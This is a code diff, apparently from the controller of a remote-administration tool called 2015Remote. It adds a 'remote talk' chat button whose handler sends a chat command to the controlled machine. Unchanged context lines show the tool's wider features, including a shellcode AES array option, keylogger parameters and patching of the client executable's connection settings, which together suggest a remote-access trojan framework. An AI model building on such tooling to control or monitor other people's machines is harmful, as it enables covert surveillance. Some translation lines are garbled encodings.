ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
|
ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
|
||||||
ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)
|
ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)
|
||||||
|
ON_COMMAND(ID_TALK_MANAGE, &CMy2015RemoteDlg::OnChat)
|
||||||
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
|
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
|
||||||
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
||||||
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
||||||
@@ -1422,6 +1423,7 @@ VOID CMy2015RemoteDlg::CreateToolBar()
|
|||||||
m_ToolBar.SetButtonText(14, _T("Lang/语言"));
|
m_ToolBar.SetButtonText(14, _T("Lang/语言"));
|
||||||
m_ToolBar.SetButtonText(15, _T("MCP"));
|
m_ToolBar.SetButtonText(15, _T("MCP"));
|
||||||
m_ToolBar.SetButtonText(16, _TR("连接管理"));
|
m_ToolBar.SetButtonText(16, _TR("连接管理"));
|
||||||
|
m_ToolBar.SetButtonText(17, _TR("远程交谈"));
|
||||||
|
|
||||||
// ============================================================
|
// ============================================================
|
||||||
// UIBranding: 根据编译时配置或运行时标志隐藏工具栏按钮
|
// UIBranding: 根据编译时配置或运行时标志隐藏工具栏按钮
|
||||||
@@ -4497,6 +4499,12 @@ void CMy2015RemoteDlg::OnOnlineMessage()
|
|||||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnChat()
|
||||||
|
{
|
||||||
|
BYTE bToken = COMMAND_CHAT; //向被控端发送开始远程交谈(双向聊天)
|
||||||
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
|
}
|
||||||
|
|
||||||
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
|
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
|
||||||
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,
|
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,
|
||||||
const std::string& dir, const std::string& name, int cmd, int sizeofSize)
|
const std::string& dir, const std::string& name, int cmd, int sizeofSize)
|
||||||
|
|||||||
@@ -516,6 +516,7 @@ public:
|
|||||||
// 由 m_cs 保护。
|
// 由 m_cs 保护。
|
||||||
std::map<uint64_t, std::wstring> m_ActiveWndW;
|
std::map<uint64_t, std::wstring> m_ActiveWndW;
|
||||||
afx_msg void OnOnlineMessage();
|
afx_msg void OnOnlineMessage();
|
||||||
|
afx_msg void OnChat();
|
||||||
afx_msg void OnOnlineDelete();
|
afx_msg void OnOnlineDelete();
|
||||||
afx_msg void OnOnlineUpdate();
|
afx_msg void OnOnlineUpdate();
|
||||||
afx_msg void OnAbout();
|
afx_msg void OnAbout();
|
||||||
|
|||||||
@@ -2076,3 +2076,4 @@ JPEG
|
|||||||
远端端口=Remote Port
|
远端端口=Remote Port
|
||||||
连接数:%d=Connections: %d
|
连接数:%d=Connections: %d
|
||||||
强制断开=Force Disconnect
|
强制断开=Force Disconnect
|
||||||
|
Զ�̽�̸=Talk
|
||||||
@@ -2067,3 +2067,4 @@ JPEG
|
|||||||
远端端口=遠端連接埠
|
远端端口=遠端連接埠
|
||||||
连接数:%d=連線數:%d
|
连接数:%d=連線數:%d
|
||||||
强制断开=強制中斷
|
强制断开=強制中斷
|
||||||
|
Զ�̽�̸=�h�̽�Մ
|
||||||
Binary file not shown.
|
Before Width: | Height: | Size: 115 KiB After Width: | Height: | Size: 122 KiB |
@@ -1011,6 +1011,7 @@
|
|||||||
#define ID_CONNECTION_MANAGE 33086
|
#define ID_CONNECTION_MANAGE 33086
|
||||||
#define ID_CONNECTION_KILL 33087
|
#define ID_CONNECTION_KILL 33087
|
||||||
#define ID_CONNECTION_REFRESH 33088
|
#define ID_CONNECTION_REFRESH 33088
|
||||||
|
#define ID_TALK_MANAGE 33089
|
||||||
#define ID_33046 33046
|
#define ID_33046 33046
|
||||||
#define ID_PROXY_PORT_AUTORUN 33047
|
#define ID_PROXY_PORT_AUTORUN 33047
|
||||||
#define ID_TRIGGER_SETTINGS 33048
|
#define ID_TRIGGER_SETTINGS 33048
|
||||||
@@ -1075,7 +1076,7 @@
|
|||||||
#ifdef APSTUDIO_INVOKED
|
#ifdef APSTUDIO_INVOKED
|
||||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
#define _APS_NEXT_RESOURCE_VALUE 407
|
#define _APS_NEXT_RESOURCE_VALUE 407
|
||||||
#define _APS_NEXT_COMMAND_VALUE 33089
|
#define _APS_NEXT_COMMAND_VALUE 33090
|
||||||
#define _APS_NEXT_CONTROL_VALUE 2593
|
#define _APS_NEXT_CONTROL_VALUE 2593
|
||||||
#define _APS_NEXT_SYMED_VALUE 105
|
#define _APS_NEXT_SYMED_VALUE 105
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
Reference in new issue
Block a user